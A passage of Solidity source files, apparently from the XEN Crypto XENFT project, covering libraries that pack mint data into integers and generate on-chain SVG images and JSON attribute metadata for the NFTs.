'\"As soon as you have made a thought, laugh at it.\" - Lao Tzu '\n '\"The further one goes, the less one knows.\" - Lao Tzu '\n '\"Stop thinking, and end your problems.\" - Lao Tzu '\n '\"Reliability is the foundation of commitment.\" - Unknown '\n '\"Your past does not equal your future.\" - Tony Robbins '\n '\"Be the path. Do not seek it.\" - Yara Tschallener '\n );\n uint256 public constant CLASSES_COUNT = 14;\n uint256 public constant CLASSES_NAME_LENGTH = 10;\n bytes public constant CLASSES =\n bytes(\n \"Ruby \"\n \"Opal \"\n \"Topaz \"\n \"Emerald \"\n \"Aquamarine\"\n \"Sapphire \"\n \"Amethyst \"\n \"Xenturion \"\n \"Limited \"\n \"Rare \"\n \"Epic \"\n \"Legendary \"\n \"Exotic \"\n \"Xunicorn \"\n );\n\n /**\n @dev Solidity doesn't yet support slicing of byte arrays anywhere outside of calldata,\n therefore we make a hack by supplying our local constant packed string array as calldata\n */\n function getQuote(bytes calldata quotes, uint256 index) external pure returns (string memory) {\n if (index > QUOTES_COUNT - 1) return string(quotes[0:QUOTE_LENGTH]);\n return string(quotes[index * QUOTE_LENGTH:(index + 1) * QUOTE_LENGTH]);\n }\n\n function getClassName(bytes calldata names, uint256 index) external pure returns (string memory) {\n if (index < CLASSES_COUNT) return string(names[index * CLASSES_NAME_LENGTH:(index + 1) * CLASSES_NAME_LENGTH]);\n return \"\";\n }\n}\n"
},
"/contracts/libs/SVG.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"@openzeppelin/contracts/utils/Strings.sol\";\nimport \"./DateTime.sol\";\nimport \"./StringData.sol\";\nimport \"./FormattedStrings.sol\";\n\n/*\n @dev Library to create SVG image for XENFT metadata\n @dependency depends on DataTime.sol and StringData.sol libraries\n */\nlibrary SVG {\n // Type to encode all data params for SVG image generation\n struct SvgParams {\n string symbol;\n address xenAddress;\n uint256 tokenId;\n uint256 term;\n uint256 rank;\n uint256 count;\n uint256 maturityTs;\n uint256 amp;\n uint256 eaa;\n uint256 xenBurned;\n bool redeemed;\n string series;\n }\n\n // Type to encode SVG gradient stop color on HSL color scale\n struct Color {\n uint256 h;\n uint256 s;\n uint256 l;\n uint256 a;\n uint256 off;\n }\n\n // Type to encode SVG gradient\n struct Gradient {\n Color[] colors;\n uint256 id;\n uint256[4] coords;\n }\n\n using DateTime for uint256;\n using Strings for uint256;\n using FormattedStrings for uint256;\n using Strings for address;\n\n string private constant _STYLE =\n \"<style> \"\n \".base {fill: #ededed;font-family:Montserrat,arial,sans-serif;font-size:30px;font-weight:400;} \"\n \".series {text-transform: uppercase} \"\n \".logo {font-size:200px;font-weight:100;} \"\n \".meta {font-size:12px;} \"\n \".small {font-size:8px;} \"\n \".burn {font-weight:500;font-size:16px;} }\"\n \"</style>\";\n\n string private constant _COLLECTOR =\n \"<g>\"\n \"<path \"\n 'stroke=\"#ededed\" '\n 'fill=\"none\" '\n 'transform=\"translate(265,418)\" '\n 'd=\"m 0 0 L -20 -30 L -12.5 -38.5 l 6.5 7 L 0 -38.5 L 6.56 -31.32 L 12.5 -38.5 L 20 -30 L 0 0 L -7.345 -29.955 L 0 -38.5 L 7.67 -30.04 L 0 0 Z M 0 0 L -20.055 -29.955 l 7.555 -8.545 l 24.965 -0.015 L 20 -30 L -20.055 -29.955\"/>'\n \"</g>\";\n\n string private constant _LIMITED =\n \"<g> \"\n '<path fill=\"#ededed\" '\n 'transform=\"scale(0.4) translate(600, 940)\" '\n 'd=\"M66,38.09q.06.9.18,1.71v.05c1,7.08,4.63,11.39,9.59,13.81,5.18,2.53,11.83,3.09,18.48,2.61,1.49-.11,3-.27,4.39-.47l1.59-.2c4.78-.61,11.47-1.48,13.35-5.06,1.16-2.2,1-5,0-8a38.85,38.85,0,0,0-6.89-11.73A32.24,32.24,0,0,0,95,21.46,21.2,21.2,0,0,0,82.3,20a23.53,23.53,0,0,0-12.75,7,15.66,15.66,0,0,0-2.35,3.46h0a20.83,20.83,0,0,0-1,2.83l-.06.2,0,.12A12,12,0,0,0,66,37.9l0,.19Zm26.9-3.63a5.51,5.51,0,0,1,2.53-4.39,14.19,14.19,0,0,0-5.77-.59h-.16l.06.51a5.57,5.57,0,0,0,2.89,4.22,4.92,4.92,0,0,0,.45.24ZM88.62,28l.94-.09a13.8,13.8,0,0,1,8,1.43,7.88,7.88,0,0,1,3.92,6.19l0,.43a.78.78,0,0,1-.66.84A19.23,19.23,0,0,1,98,37a12.92,12.92,0,0,1-6.31-1.44A7.08,7.08,0,0,1,88,30.23a10.85,10.85,0,0,1-.1-1.44.8.8,0,0,1,.69-.78ZM14.15,10c-.06-5.86,3.44-8.49,8-9.49C26.26-.44,31.24.16,34.73.7A111.14,111.14,0,0,1,56.55,6.4a130.26,130.26,0,0,1,22,10.8,26.25,26.25,0,0,1,3-.78,24.72,24.72,0,0,1,14.83,1.69,36,36,0,0,1,13.09,10.42,42.42,42.42,0,0,1,7.54,12.92c1.25,3.81,1.45,7.6-.23,10.79-2.77,5.25-10.56,6.27-16.12,7l-1.23.16a54.53,54.53,0,0,1-2.81,12.06A108.62,108.62,0,0,1,91.3,84v25.29a9.67,9.67,0,0,1,9.25,10.49c0,.41,0,.81,0,1.18a1.84,1.84,0,0,1-1.84,1.81H86.12a8.8,8.8,0,0,1-5.1-1.56,10.82,10.82,0,0,1-3.35-4,2.13,2.13,0,0,1-.2-.46L73.53,103q-2.73,2.13-5.76,4.16c-1.2.8-2.43,1.59-3.69,2.35l.6.16a8.28,8.28,0,0,1,5.07,4,15.38,15.38,0,0,1,1.71,7.11V121a1.83,1.83,0,0,1-1.83,1.83h-53c-2.58.09-4.47-.52-5.75-1.73A6.49,6.49,0,0,1,9.11,116v-11.2a42.61,42.61,0,0,1-6.34-11A38.79,38.79,0,0,1,1.11,70.29,37,37,0,0,1,13.6,50.54l.1-.09a41.08,41.08,0,0,1,11-6.38c7.39-2.9,17.93-2.77,26-2.68,5.21.06,9.34.11,10.19-.49a4.8,4.8,0,0,0,1-.91,5.11,5.11,0,0,0,.56-.84c0-.26,0-.52-.07-.78a16,16,0,0,1-.06-4.2,98.51,98.51,0,0,0-18.76-3.68c-7.48-.83-15.44-1.19-23.47-1.41l-1.35,0c-2.59,0-4.86,0-7.46-1.67A9,9,0,0,1,8,23.68a9.67,9.67,0,0,1-.91-5A10.91,10.91,0,0,1,8.49,14a8.74,8.74,0,0,1,3.37-3.29A8.2,8.2,0,0,1,14.15,10ZM69.14,22a54.75,54.75,0,0,1,4.94-3.24,124.88,124.88,0,0,0-18.8-9A106.89,106.89,0,0,0,34.17,4.31C31,3.81,26.44,3.25,22.89,4c-2.55.56-4.59,1.92-5,4.79a134.49,134.49,0,0,1,26.3,3.8,115.69,115.69,0,0,1,25,9.4ZM64,28.65c.21-.44.42-.86.66-1.28a15.26,15.26,0,0,1,1.73-2.47,146.24,146.24,0,0,0-14.92-6.2,97.69,97.69,0,0,0-15.34-4A123.57,123.57,0,0,0,21.07,13.2c-3.39-.08-6.3.08-7.47.72a5.21,5.21,0,0,0-2,1.94,7.3,7.3,0,0,0-1,3.12,6.1,6.1,0,0,0,.55,3.11,5.43,5.43,0,0,0,2,2.21c1.73,1.09,3.5,1.1,5.51,1.12h1.43c8.16.23,16.23.59,23.78,1.42a103.41,103.41,0,0,1,19.22,3.76,17.84,17.84,0,0,1,.85-2Zm-.76,15.06-.21.16c-1.82,1.3-6.48,1.24-12.35,1.17C42.91,45,32.79,44.83,26,47.47a37.41,37.41,0,0,0-10,5.81l-.1.08A33.44,33.44,0,0,0,4.66,71.17a35.14,35.14,0,0,0,1.5,21.32A39.47,39.47,0,0,0,12.35,103a1.82,1.82,0,0,1,.42,1.16v12a3.05,3.05,0,0,0,.68,2.37,4.28,4.28,0,0,0,3.16.73H67.68a10,10,0,0,0-1.11-3.69,4.7,4.7,0,0,0-2.87-2.32,15.08,15.08,0,0,0-4.4-.38h-26a1.83,1.83,0,0,1-.15-3.65c5.73-.72,10.35-2.74,13.57-6.25,3.06-3.34,4.91-8.1,5.33-14.45v-.13A18.88,18.88,0,0,0,46.35,75a20.22,20.22,0,0,0-7.41-4.42,23.54,23.54,0,0,0-8.52-1.25c-4.7.19-9.11,1.83-12,4.83a1.83,1.83,0,0,1-2.65-2.52c3.53-3.71,8.86-5.73,14.47-6a27.05,27.05,0,0,1,9.85,1.44,24,24,0,0,1,8.74,5.23,22.48,22.48,0,0,1,6.85,15.82v.08a2.17,2.17,0,0,1,0,.36c-.47,7.25-2.66,12.77-6.3,16.75a21.24,21.24,0,0,1-4.62,3.77H57.35q4.44-2.39,8.39-5c2.68-1.79,5.22-3.69,7.63-5.67a1.82,1.82,0,0,1,2.57.24,1.69,1.69,0,0,1,.35.66L81,115.62a7,7,0,0,0,2.16,2.62,5.06,5.06,0,0,0,3,.9H96.88a6.56,6.56,0,0,0-1.68-4.38,7.19,7.19,0,0,0-4.74-1.83c-.36,0-.69,0-1,0a1.83,1.83,0,0,1-1.83-1.83V83.6a1.75,1.75,0,0,1,.23-.88,105.11,105.11,0,0,0,5.34-12.46,52,52,0,0,0,2.55-10.44l-1.23.1c-7.23.52-14.52-.12-20.34-3A20,20,0,0,1,63.26,43.71Z\"/>'\n \"</g>\";\n\n string private constant _APEX =\n '<g transform=\"scale(0.5) translate(533, 790)\">'\n '<circle r=\"39\" stroke=\"#ededed\" fill=\"transparent\"/>'\n '<path fill=\"#ededed\" '\n 'd=\"M0,38 a38,38 0 0 1 0,-76 a19,19 0 0 1 0,38 a19,19 0 0 0 0,38 z m -5 -57 a 5,5 0 1,0 10,0 a 5,5 0 1,0 -10,0 z\" '\n 'fill-rule=\"evenodd\"/>'\n '<path fill=\"#ededed\" '\n 'd=\"m -5, 19 a 5,5 0 1,0 10,0 a 5,5 0 1,0 -10,0\"/>'\n \"</g>\";\n\n string private constant _LOGO =\n '<path fill=\"#ededed\" '\n 'd=\"M122.7,227.1 l-4.8,0l55.8,-74l0,3.2l-51.8,-69.2l5,0l48.8,65.4l-1.2,0l48.8,-65.4l4.8,0l-51.2,68.4l0,-1.6l55.2,73.2l-5,0l-52.8,-70.2l1.2,0l-52.8,70.2z\" '\n 'vector-effect=\"non-scaling-stroke\" />';\n\n /**\n @dev internal helper to create HSL-encoded color prop for SVG tags\n */\n function colorHSL(Color memory c) internal pure returns (bytes memory) {\n return abi.encodePacked(\"hsl(\", c.h.toString(), \", \", c.s.toString(), \"%, \", c.l.toString(), \"%)\");\n }\n\n /**\n @dev internal helper to create `stop` SVG tag\n */\n function colorStop(Color memory c) internal pure returns (bytes memory) {\n return\n abi.encodePacked(\n '<stop stop-color=\"',\n colorHSL(c),\n '\" stop-opacity=\"',\n c.a.toString(),\n '\" offset=\"',\n c.off.toString(),\n '%\"/>'\n );\n }\n\n /**\n @dev internal helper to encode position for `Gradient` SVG tag\n */\n function pos(uint256[4] memory coords) internal pure returns (bytes memory) {\n return\n abi.encodePacked(\n 'x1=\"',\n coords[0].toString(),\n '%\" '\n 'y1=\"',\n coords[1].toString(),\n '%\" '\n 'x2=\"',\n coords[2].toString(),\n '%\" '\n 'y2=\"',\n coords[3].toString(),\n '%\" '\n );\n }\n\n /**\n @dev internal helper to create `Gradient` SVG tag\n */\n function linearGradient(\n Color[] memory colors,\n uint256 id,\n uint256[4] memory coords\n ) internal pure returns (bytes memory) {\n string memory stops = \"\";\n for (uint256 i = 0; i < colors.length; i++) {\n if (colors[i].h != 0) {\n stops = string.concat(stops, string(colorStop(colors[i])));\n }\n }\n return\n abi.encodePacked(\n \"<linearGradient \",\n pos(coords),\n 'id=\"g',\n id.toString(),\n '\">',\n stops,\n \"</linearGradient>\"\n );\n }\n\n /**\n @dev internal helper to create `Defs` SVG tag\n */\n function defs(Gradient memory grad) internal pure returns (bytes memory) {\n return abi.encodePacked(\"<defs>\", linearGradient(grad.colors, 0, grad.coords), \"</defs>\");\n }\n\n /**\n @dev internal helper to create `Rect` SVG tag\n */\n function rect(uint256 id) internal pure returns (bytes memory) {\n return\n abi.encodePacked(\n \"<rect \"\n 'width=\"100%\" '\n 'height=\"100%\" '\n 'fill=\"url(#g',\n id.toString(),\n ')\" '\n 'rx=\"10px\" '\n 'ry=\"10px\" '\n 'stroke-linejoin=\"round\" '\n \"/>\"\n );\n }\n\n /**\n @dev internal helper to create border `Rect` SVG tag\n */\n function border() internal pure returns (string memory) {\n return\n \"<rect \"\n 'width=\"94%\" '\n 'height=\"96%\" '\n 'fill=\"transparent\" '\n 'rx=\"10px\" '\n 'ry=\"10px\" '\n 'stroke-linejoin=\"round\" '\n 'x=\"3%\" '\n 'y=\"2%\" '\n 'stroke-dasharray=\"1,6\" '\n 'stroke=\"white\" '\n \"/>\";\n }\n\n /**\n @dev internal helper to create group `G` SVG tag\n */\n function g(uint256 gradientsCount) internal pure returns (bytes memory) {\n string memory background = \"\";\n for (uint256 i = 0; i < gradientsCount; i++) {\n background = string.concat(background, string(rect(i)));\n }\n return abi.encodePacked(\"<g>\", background, border(), \"</g>\");\n }\n\n /**\n @dev internal helper to create XEN logo line pattern with 2 SVG `lines`\n */\n function logo() internal pure returns (bytes memory) {\n return abi.encodePacked();\n }\n\n /**\n @dev internal helper to create `Text` SVG tag with XEN Crypto contract data\n */\n function contractData(string memory symbol, address xenAddress) internal pure returns (bytes memory) {\n return\n abi.encodePacked(\n \"<text \"\n 'x=\"50%\" '\n 'y=\"5%\" '\n 'class=\"base small\" '\n 'dominant-baseline=\"middle\" '\n 'text-anchor=\"middle\">',\n symbol,\n unicode\"・\",\n xenAddress.toHexString(),\n \"</text>\"\n );\n }\n\n /**\n @dev internal helper to create cRank range string\n */\n function rankAndCount(uint256 rank, uint256 count) internal pure returns (bytes memory) {\n if (count == 1) return abi.encodePacked(rank.toString());\n return abi.encodePacked(rank.toString(), \"..\", (rank + count - 1).toString());\n }\n\n /**\n @dev internal helper to create 1st part of metadata section of SVG\n */\n function meta1(\n uint256 tokenId,\n uint256 count,\n uint256 eaa,\n string memory series,\n uint256 xenBurned\n ) internal pure returns (bytes memory) {\n bytes memory part1 = abi.encodePacked(\n \"<text \"\n 'x=\"50%\" '\n 'y=\"50%\" '\n 'class=\"base \" '\n 'dominant-baseline=\"middle\" '\n 'text-anchor=\"middle\">'\n \"XEN CRYPTO\"\n \"</text>\"\n \"<text \"\n 'x=\"50%\" '\n 'y=\"56%\" '\n 'class=\"base burn\" '\n 'text-anchor=\"middle\" '\n 'dominant-baseline=\"middle\"> ',\n xenBurned > 0 ? string.concat((xenBurned / 10**18).toFormattedString(), \" X\") : \"\",\n \"</text>\"\n \"<text \"\n 'x=\"18%\" '\n 'y=\"62%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\"> '\n \"#\",\n tokenId.toString(),\n \"</text>\"\n \"<text \"\n 'x=\"82%\" '\n 'y=\"62%\" '\n 'class=\"base meta series\" '\n 'dominant-baseline=\"middle\" '\n 'text-anchor=\"end\" >',\n series,\n \"</text>\"\n );\n bytes memory part2 = abi.encodePacked(\n \"<text \"\n 'x=\"18%\" '\n 'y=\"68%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" >'\n \"VMU: \",\n count.toString(),\n \"</text>\"\n \"<text \"\n 'x=\"18%\" '\n 'y=\"72%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" >'\n \"EAA: \",\n (eaa / 10).toString(),\n \"%\"\n \"</text>\"\n );\n return abi.encodePacked(part1, part2);\n }\n\n /**\n @dev internal helper to create 2nd part of metadata section of SVG\n */\n function meta2(\n uint256 maturityTs,\n uint256 amp,\n uint256 term,\n uint256 rank,\n uint256 count\n ) internal pure returns (bytes memory) {\n bytes memory part3 = abi.encodePacked(\n \"<text \"\n 'x=\"18%\" '\n 'y=\"76%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" >'\n \"AMP: \",\n amp.toString(),\n \"</text>\"\n \"<text \"\n 'x=\"18%\" '\n 'y=\"80%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" >'\n \"Term: \",\n term.toString()\n );\n bytes memory part4 = abi.encodePacked(\n \" days\"\n \"</text>\"\n \"<text \"\n 'x=\"18%\" '\n 'y=\"84%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" >'\n \"cRank: \",\n rankAndCount(rank, count),\n \"</text>\"\n \"<text \"\n 'x=\"18%\" '\n 'y=\"88%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" >'\n \"Maturity: \",\n maturityTs.asString(),\n \"</text>\"\n );\n return abi.encodePacked(part3, part4);\n }\n\n /**\n @dev internal helper to create `Text` SVG tag for XEN quote\n */\n function quote(uint256 idx) internal pure returns (bytes memory) {\n return\n abi.encodePacked(\n \"<text \"\n 'x=\"50%\" '\n 'y=\"95%\" '\n 'class=\"base small\" '\n 'dominant-baseline=\"middle\" '\n 'text-anchor=\"middle\" >',\n StringData.getQuote(StringData.QUOTES, idx),\n \"</text>\"\n );\n }\n\n /**\n @dev internal helper to generate `Redeemed` stamp\n */\n function stamp(bool redeemed) internal pure returns (bytes memory) {\n if (!redeemed) return \"\";\n return\n abi.encodePacked(\n \"<rect \"\n 'x=\"50%\" '\n 'y=\"77.5%\" '\n 'width=\"100\" '\n 'height=\"40\" '\n 'stroke=\"black\" '\n 'stroke-width=\"1\" '\n 'fill=\"none\" '\n 'rx=\"5px\" '\n 'ry=\"5px\" '\n 'transform=\"translate(-50,-20) '\n 'rotate(-20,0,400)\" />',\n \"<text \"\n 'x=\"50%\" '\n 'y=\"77.5%\" '\n 'stroke=\"black\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" '\n 'text-anchor=\"middle\" '\n 'transform=\"translate(0,0) rotate(-20,-45,380)\" >'\n \"Redeemed\"\n \"</text>\"\n );\n }\n\n /**\n @dev main internal helper to create SVG file representing XENFT\n */\n function image(\n SvgParams memory params,\n Gradient[] memory gradients,\n uint256 idx,\n bool apex,\n bool limited\n ) internal pure returns (bytes memory) {\n string memory mark = limited ? _LIMITED : apex ? _APEX : _COLLECTOR;\n bytes memory graphics = abi.encodePacked(defs(gradients[0]), _STYLE, g(gradients.length), _LOGO, mark);\n bytes memory metadata = abi.encodePacked(\n contractData(params.symbol, params.xenAddress),\n meta1(params.tokenId, params.count, params.eaa, params.series, params.xenBurned),\n meta2(params.maturityTs, params.amp, params.term, params.rank, params.count),\n quote(idx),\n stamp(params.redeemed)\n );\n return\n abi.encodePacked(\n \"<svg \"\n 'xmlns=\"http://www.w3.org/2000/svg\" '\n 'preserveAspectRatio=\"xMinYMin meet\" '\n 'viewBox=\"0 0 350 566\">',\n graphics,\n metadata,\n \"</svg>\"\n );\n }\n}\n"
},
"/contracts/libs/MintInfo.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\n// mapping: NFT tokenId => MintInfo (used in tokenURI generation)\n// MintInfo encoded as:\n// term (uint16)\n// | maturityTs (uint64)\n// | rank (uint128)\n// | amp (uint16)\n// | eaa (uint16)\n// | class (uint8):\n// [7] isApex\n// [6] isLimited\n// [0-5] powerGroupIdx\n// | redeemed (uint8)\nlibrary MintInfo {\n /**\n @dev helper to convert Bool to U256 type and make compiler happy\n */\n function toU256(bool x) internal pure returns (uint256 r) {\n assembly {\n r := x\n }\n }\n\n /**\n @dev encodes MintInfo record from its props\n */\n function encodeMintInfo(\n uint256 term,\n uint256 maturityTs,\n uint256 rank,\n uint256 amp,\n uint256 eaa,\n uint256 class_,\n bool redeemed\n ) public pure returns (uint256 info) {\n info = info | (toU256(redeemed) & 0xFF);\n info = info | ((class_ & 0xFF) << 8);\n info = info | ((eaa & 0xFFFF) << 16);\n info = info | ((amp & 0xFFFF) << 32);\n info = info | ((rank & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF) << 48);\n info = info | ((maturityTs & 0xFFFFFFFFFFFFFFFF) << 176);\n info = info | ((term & 0xFFFF) << 240);\n }\n\n /**\n @dev decodes MintInfo record and extracts all of its props\n */\n function decodeMintInfo(uint256 info)\n public\n pure\n returns (\n uint256 term,\n uint256 maturityTs,\n uint256 rank,\n uint256 amp,\n uint256 eaa,\n uint256 class,\n bool apex,\n bool limited,\n bool redeemed\n )\n {\n term = uint16(info >> 240);\n maturityTs = uint64(info >> 176);\n rank = uint128(info >> 48);\n amp = uint16(info >> 32);\n eaa = uint16(info >> 16);\n class = uint8(info >> 8) & 0x3F;\n apex = (uint8(info >> 8) & 0x80) > 0;\n limited = (uint8(info >> 8) & 0x40) > 0;\n redeemed = uint8(info) == 1;\n }\n\n /**\n @dev extracts `term` prop from encoded MintInfo\n */\n function getTerm(uint256 info) public pure returns (uint256 term) {\n (term, , , , , , , , ) = decodeMintInfo(info);\n }\n\n /**\n @dev extracts `maturityTs` prop from encoded MintInfo\n */\n function getMaturityTs(uint256 info) public pure returns (uint256 maturityTs) {\n (, maturityTs, , , , , , , ) = decodeMintInfo(info);\n }\n\n /**\n @dev extracts `rank` prop from encoded MintInfo\n */\n function getRank(uint256 info) public pure returns (uint256 rank) {\n (, , rank, , , , , , ) = decodeMintInfo(info);\n }\n\n /**\n @dev extracts `AMP` prop from encoded MintInfo\n */\n function getAMP(uint256 info) public pure returns (uint256 amp) {\n (, , , amp, , , , , ) = decodeMintInfo(info);\n }\n\n /**\n @dev extracts `EAA` prop from encoded MintInfo\n */\n function getEAA(uint256 info) public pure returns (uint256 eaa) {\n (, , , , eaa, , , , ) = decodeMintInfo(info);\n }\n\n /**\n @dev extracts `redeemed` prop from encoded MintInfo\n */\n function getClass(uint256 info)\n public\n pure\n returns (\n uint256 class_,\n bool apex,\n bool limited\n )\n {\n (, , , , , class_, apex, limited, ) = decodeMintInfo(info);\n }\n\n /**\n @dev extracts `redeemed` prop from encoded MintInfo\n */\n function getRedeemed(uint256 info) public pure returns (bool redeemed) {\n (, , , , , , , , redeemed) = decodeMintInfo(info);\n }\n}\n"
},
"/contracts/libs/Metadata.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol\";\nimport \"@openzeppelin/contracts/utils/Strings.sol\";\nimport \"./MintInfo.sol\";\nimport \"./DateTime.sol\";\nimport \"./FormattedStrings.sol\";\nimport \"./SVG.sol\";\n\n/**\n @dev Library contains methods to generate on-chain NFT metadata\n*/\nlibrary Metadata {\n using DateTime for uint256;\n using MintInfo for uint256;\n using Strings for uint256;\n\n uint256 public constant POWER_GROUP_SIZE = 7_500;\n uint256 public constant MAX_POWER = 52_500;\n\n uint256 public constant COLORS_FULL_SCALE = 300;\n uint256 public constant SPECIAL_LUMINOSITY = 45;\n uint256 public constant BASE_SATURATION = 75;\n uint256 public constant BASE_LUMINOSITY = 38;\n uint256 public constant GROUP_SATURATION = 100;\n uint256 public constant GROUP_LUMINOSITY = 50;\n uint256 public constant DEFAULT_OPACITY = 1;\n uint256 public constant NO_COLOR = 360;\n\n // PRIVATE HELPERS\n\n // The following pure methods returning arrays are workaround to use array constants,\n // not yet available in Solidity\n\n function _powerGroupColors() private pure returns (uint256[8] memory) {\n return [uint256(360), 1, 30, 60, 120, 180, 240, 300];\n }\n\n function _huesApex() private pure returns (uint256[3] memory) {\n return [uint256(169), 210, 305];\n }\n\n function _huesLimited() private pure returns (uint256[3] memory) {\n return [uint256(263), 0, 42];\n }\n\n function _stopOffsets() private pure returns (uint256[3] memory) {\n return [uint256(10), 50, 90];\n }\n\n function _gradColorsRegular() private pure returns (uint256[4] memory) {\n return [uint256(150), 150, 20, 20];\n }\n\n function _gradColorsBlack() private pure returns (uint256[4] memory) {\n return [uint256(100), 100, 20, 20];\n }\n\n function _gradColorsSpecial() private pure returns (uint256[4] memory) {\n return [uint256(100), 100, 0, 0];\n }\n\n /**\n @dev private helper to determine XENFT group index by its power\n (power = count of VMUs * mint term in days)\n */\n function _powerGroup(uint256 vmus, uint256 term) private pure returns (uint256) {\n return (vmus * term) / POWER_GROUP_SIZE;\n }\n\n /**\n @dev private helper to generate SVG gradients for special XENFT categories\n */\n function _specialClassGradients(bool rare) private pure returns (SVG.Gradient[] memory gradients) {\n uint256[3] memory specialColors = rare ? _huesApex() : _huesLimited();\n SVG.Color[] memory colors = new SVG.Color[](3);\n for (uint256 i = 0; i < colors.length; i++) {\n colors[i] = SVG.Color({\n h: specialColors[i],\n s: BASE_SATURATION,\n l: SPECIAL_LUMINOSITY,\n a: DEFAULT_OPACITY,\n off: _stopOffsets()[i]\n });\n }\n gradients = new SVG.Gradient[](1);\n gradients[0] = SVG.Gradient({colors: colors, id: 0, coords: _gradColorsSpecial()});\n }\n\n /**\n @dev private helper to generate SVG gradients for common XENFT category\n */\n function _commonCategoryGradients(uint256 vmus, uint256 term)\n private\n pure\n returns (SVG.Gradient[] memory gradients)\n {\n SVG.Color[] memory colors = new SVG.Color[](2);\n uint256 powerHue = term * vmus > MAX_POWER ? NO_COLOR : 1 + (term * vmus * COLORS_FULL_SCALE) / MAX_POWER;\n // group\n uint256 groupHue = _powerGroupColors()[_powerGroup(vmus, term) > 7 ? 7 : _powerGroup(vmus, term)];\n colors[0] = SVG.Color({\n h: groupHue,\n s: groupHue == NO_COLOR ? 0 : GROUP_SATURATION,\n l: groupHue == NO_COLOR ? 0 : GROUP_LUMINOSITY,\n a: DEFAULT_OPACITY,\n off: _stopOffsets()[0]\n });\n // power\n colors[1] = SVG.Color({\n h: powerHue,\n s: powerHue == NO_COLOR ? 0 : BASE_SATURATION,\n l: powerHue == NO_COLOR ? 0 : BASE_LUMINOSITY,\n a: DEFAULT_OPACITY,\n off: _stopOffsets()[2]\n });\n gradients = new SVG.Gradient[](1);\n gradients[0] = SVG.Gradient({\n colors: colors,\n id: 0,\n coords: groupHue == NO_COLOR ? _gradColorsBlack() : _gradColorsRegular()\n });\n }\n\n // PUBLIC INTERFACE\n\n /**\n @dev public interface to generate SVG image based on XENFT params\n */\n function svgData(\n uint256 tokenId,\n uint256 count,\n uint256 info,\n address token,\n uint256 burned\n ) external view returns (bytes memory) {\n string memory symbol = IERC20Metadata(token).symbol();\n (uint256 classIds, bool rare, bool limited) = info.getClass();\n SVG.SvgParams memory params = SVG.SvgParams({\n symbol: symbol,\n xenAddress: token,\n tokenId: tokenId,\n term: info.getTerm(),\n rank: info.getRank(),\n count: count,\n maturityTs: info.getMaturityTs(),\n amp: info.getAMP(),\n eaa: info.getEAA(),\n xenBurned: burned,\n series: StringData.getClassName(StringData.CLASSES, classIds),\n redeemed: info.getRedeemed()\n });\n uint256 quoteIdx = uint256(keccak256(abi.encode(info))) % StringData.QUOTES_COUNT;\n if (rare || limited) {\n return SVG.image(params, _specialClassGradients(rare), quoteIdx, rare, limited);\n }\n return SVG.image(params, _commonCategoryGradients(count, info.getTerm()), quoteIdx, rare, limited);\n }\n\n function _attr1(\n uint256 count,\n uint256 rank,\n uint256 class_\n ) private pure returns (bytes memory) {\n return\n abi.encodePacked(\n '{\"trait_type\":\"Class\",\"value\":\"',\n StringData.getClassName(StringData.CLASSES, class_),\n '\"},'\n '{\"trait_type\":\"VMUs\",\"value\":\"',\n count.toString(),\n '\"},'\n '{\"trait_type\":\"cRank\",\"value\":\"',\n rank.toString(),\n '\"},'\n );\n }\n\n function _attr2(\n uint256 amp,\n uint256 eaa,\n uint256 maturityTs\n ) private pure returns (bytes memory) {\n (uint256 year, string memory month) = DateTime.yearAndMonth(maturityTs);\n return\n abi.encodePacked(\n '{\"trait_type\":\"AMP\",\"value\":\"',\n amp.toString(),\n '\"},'\n '{\"trait_type\":\"EAA (%)\",\"value\":\"',\n (eaa / 10).toString(),\n '\"},'\n '{\"trait_type\":\"Maturity Year\",\"value\":\"',\n year.toString(),\n '\"},'\n '{\"trait_type\":\"Maturity Month\",\"value\":\"',\n month,\n '\"},'\n );\n }\n\n function _attr3(\n uint256 maturityTs,\n uint256 term,\n uint256 burned\n ) private pure returns (bytes memory) {\n return\n abi.encodePacked(\n '{\"trait_type\":\"Maturity DateTime\",\"value\":\"',\n maturityTs.asString(),\n '\"},'\n '{\"trait_type\":\"Term\",\"value\":\"',\n term.toString(),\n '\"},'\n '{\"trait_type\":\"XEN Burned\",\"value\":\"',\n (burned / 10**18).toString(),\n '\"},'\n );\n }\n\n function _attr4(bool apex, bool limited) private pure returns (bytes memory) {\n string memory category = \"Collector\";\n if (limited) category = \"Limited\";\n if (apex) category = \"Apex\";\n return abi.encodePacked('{\"trait_type\":\"Category\",\"value\":\"', category, '\"}');\n }\n\n /**\n @dev private helper to construct attributes portion of NFT metadata\n */\n function attributes(\n uint256 count,\n uint256 burned,\n uint256 mintInfo\n ) external pure returns (bytes memory) {\n (\n uint256 term,\n uint256 maturityTs,\n uint256 rank,\n uint256 amp,\n uint256 eaa,\n uint256 series,\n bool apex,\n bool limited,\n\n ) = MintInfo.decodeMintInfo(mintInfo);\n return\n abi.encodePacked(\n \"[\",\n _attr1(count, rank, series),\n _attr2(amp, eaa, maturityTs),\n _attr3(maturityTs, term, burned),\n _attr4(apex, limited),\n \"]\"\n );\n }\n\n function formattedString(uint256 n) public pure returns (string memory) {\n return FormattedStrings.toFormattedString(n);\n }\n}\n"
},
"/contracts/libs/FormattedStrings.sol": {
